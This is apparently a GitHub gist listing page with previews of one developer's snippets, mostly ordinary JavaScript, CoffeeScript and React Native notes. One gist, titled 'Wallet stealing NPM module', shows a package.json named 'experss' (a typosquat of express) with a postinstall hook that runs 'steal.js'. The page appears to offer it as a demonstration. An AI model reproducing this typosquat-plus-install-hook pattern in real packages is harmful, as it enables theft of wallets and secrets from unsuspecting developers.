Skip to content

Instantly share code, notes, and snippets.

View JonnyBurger's full-sized avatar
🎥
Making videos in React

Jonny Burger JonnyBurger

🎥
Making videos in React
View GitHub Profile
@JonnyBurger
JonnyBurger / gist:d2b1cdf250ca36204558
Last active August 29, 2015 14:08
Sway.fm attempt
<script src="https://s3.amazonaws.com/SwayFM/UnityShim.js"></script>
<script>
var unity = UnityMusicShim();
unity.setSupports({
playpause: true,
next: true,
previous: true
});
unity.setCallbackObject({
pause: function() {
(function(){
var parse = JSON.parse;
JSON = {
stringify: JSON.stringify,
validate: function(str){
this._request("POST", this._getAccessTokenUrl(), post_headers, post_data, null, function(error, data, response) {
if( error ) callback(error);
else {
var results;
try {
// As of http://tools.ietf.org/html/draft-ietf-oauth-v2-07
// responses should be in JSON
results= JSON.parse( data );
}
catch(e) {
parseNewYTTime: function (duration) {
var a = duration.match(/\d+/g);
if (duration.indexOf('M') >= 0 && duration.indexOf('H') == -1 && duration.indexOf('S') == -1) {
a = [0, a[0], 0];
}
if (duration.indexOf('H') >= 0 && duration.indexOf('M') == -1) {
a = [a[0], 0, a[1]];
}
# Tooltip directive
.directive 'ngTooltip', () ->
return {
restrict: 'A'
link: (scope, elem, attrs) ->
if attrs.onlyLogout? and scope.$parent.$parent.$parent.user
return
tooltip = $('<div>')
elem.bind 'mouseenter', (event) ->
if attrs.onlyEmptyList? and scope.tracks?.length isnt 0
@JonnyBurger
JonnyBurger / README.md
Created November 8, 2016 22:34
Continuosly update alias for zeit.co's now

Run this script after deployment to update the alias.

  • got is the only dev dependency
  • Change the file and include your domain, and app name
  • Set an environment variable called NOW_TOKEN. You take the token from https://zeit.co/account#api-tokens
@JonnyBurger
JonnyBurger / UPGRADING.md
Last active February 20, 2019 04:08
Tips for upgrading React Native (especially >0.45)

Here are a few tips if you have trouble upgrading versions of React Native.

Upgrading dependencies for React 16 (react-native@0.45 and above)

react-native@0.45 uses React 16, while previous versions use React 15. Be aware that React 16 is still in Alpha, so unless you need features in React Native 0.45 or above, consider sticking to v0.44 for now.

If you upgrade, several dependencies need to be updated manually:

  • react should be on 16.0.0-alpha.12
@JonnyBurger
JonnyBurger / package.json
Created March 7, 2018 21:21
Wallet stealing NPM module
{
"name": "experss",
"version": "1.0.0",
"scripts": {
"postinstall": "node steal.js"
},
"dependencies": {
"express": "^4.16.2",
"os-homedir": "^1.0.2"
}
import React, {Component} from 'react';
import {withNavigationFocus} from 'react-navigation';
import hoistNonReactStatics from 'hoist-non-react-statics';
export default Comp => {
const Hoc = class extends Component {
shouldComponentUpdate(nextProps) {
return nextProps.isFocused;
}
render() {
import renderWhenFocused from '../helpers/render-when-focused';
export default renderWhenFocused(
connect(mapStateToProps, mapDispatchToProps)(MyView)
);